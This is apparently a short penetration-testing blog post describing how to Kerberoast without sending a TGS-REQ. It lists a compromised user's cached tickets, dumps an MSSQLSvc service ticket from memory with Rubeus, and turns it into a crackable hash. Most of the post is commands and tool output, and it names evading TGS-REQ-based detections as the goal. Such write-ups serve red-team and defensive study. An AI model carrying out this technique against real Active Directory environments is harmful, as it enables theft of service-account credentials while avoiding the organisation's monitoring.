Kerberoasting w/o the TGS-REQ

Kerberoasting is a technique that allows an attacker to extract the encrypted part of a TGS-REP and brute force it offline to recover the plaintext password of the associated service account. The most common method of obtaining TGS-REPs is for the attacker to send TGS-REQs to the KDC for one or more SPNs, using a command such as Rubeus kerberoast.

Strategies to detect kerberoasting include looking for spikes in TGS-REQs from a single source, or TGS-REQs for 'honeypot' SPNs. A careless attacker can get caught quite easily. Another method of obtaining TGS-REPs could be to listen for them on the wire. However, in this short post, I'll show how an attacker can use service tickets that have already been requested legitimately by a user.

Consider a scenario where you compromise a user and list out their tickets using something like klist or Rubeus triage. In the example below, we see a service ticket for MSSQLSvc.

 > klist

Current LogonId is 0:0x17afca

Cached Tickets: (2)

#0>	Client: pchilds @ CONTOSO.COM
	Server: krbtgt/CONTOSO.COM @ CONTOSO.COM
	KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
	Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize 
	Start Time: 3/5/2025 15:38:28 (local)
	End Time:   3/6/2025 1:38:28 (local)
	Renew Time: 3/12/2025 15:38:28 (local)
	Session Key Type: AES-256-CTS-HMAC-SHA1-96
	Cache Flags: 0x1 -> PRIMARY 
	Kdc Called: lon-dc-1.contoso.com

#1>	Client: pchilds @ CONTOSO.COM
	Server: MSSQLSvc/lon-db-1.contoso.com:1433 @ CONTOSO.COM
	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
	Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize 
	Start Time: 3/5/2025 15:38:28 (local)
	End Time:   3/6/2025 1:38:28 (local)
	Renew Time: 3/12/2025 15:38:28 (local)
	Session Key Type: AES-256-CTS-HMAC-SHA1-96
	Cache Flags: 0 
	Kdc Called: lon-dc-1.contoso.com

This ticket can be extracted from memory using Rubeus dump.

> Rubeus.exe dump /service:MSSQLSvc /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 


Action: Dump Kerberos Ticket Data (Current User)

[*] Target service  : MSSQLSvc
[*] Current LUID    : 0x17afca

  UserName                 : pchilds
  Domain                   : CONTOSO
  LogonId                  : 0x17afca
  UserSID                  : S-1-5-21-3926355307-1661546229-813047887-1105
  AuthenticationPackage    : Negotiate
  LogonType                : Interactive
  LogonTime                : 05/03/2025 15:36:52
  LogonServer              : LON-DC-1
  LogonServerDNSDomain     : CONTOSO.COM
  UserPrincipalName        : pchilds@contoso.com

    ServiceName              :  MSSQLSvc/lon-db-1.contoso.com:1433
    ServiceRealm             :  CONTOSO.COM
    UserName                 :  pchilds (NT_PRINCIPAL)
    UserRealm                :  CONTOSO.COM
    StartTime                :  05/03/2025 15:38:28
    EndTime                  :  06/03/2025 01:38:28
    RenewTill                :  12/03/2025 15:38:28
    Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  b/u89Uz0FFWFQTTl3792jxjkuFlLjvyPifaor0um8Do=
    Base64EncodedTicket   :

      doIGI[...snip...]xNDMz

Rubeus' describe command is clever enough to identify this as a service ticket and will extract the encrypted part in a hash format that can be cracked. You just need to substitute in the USER and DOMAIN fields so that the salt can be properly calculated. There are /serviceuser and /servicedomain parameters for the describe command that should do this for you, but they didn't appear to apply for me. I'm not sure if this is a bug or if it was just me...

> Rubeus.exe describe /ticket:doIGI[...snip...]xNDMz /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3


[*] Action: Describe Ticket


  ServiceName              :  MSSQLSvc/lon-db-1.contoso.com:1433
  ServiceRealm             :  CONTOSO.COM
  UserName                 :  pchilds (NT_PRINCIPAL)
  UserRealm                :  CONTOSO.COM
  StartTime                :  05/03/2025 15:38:28
  EndTime                  :  06/03/2025 01:38:28
  RenewTill                :  12/03/2025 15:38:28
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  b/u89Uz0FFWFQTTl3792jxjkuFlLjvyPifaor0um8Do=
  Kerberoast Hash          :  $krb5tgs$23$*USER$DOMAIN$MSSQLSvc/lon-db-1.contoso.com:1433*$1C1CB[...snip...]2CA0B

This scenario obviously requires your compromised user having an appropriate service ticket cached in their logon session, and yeah, how likely is that? But if one does happen to be there, it could be a nice way of kerberoasting without having to send a TGS-REQ and potentially avoiding those detections.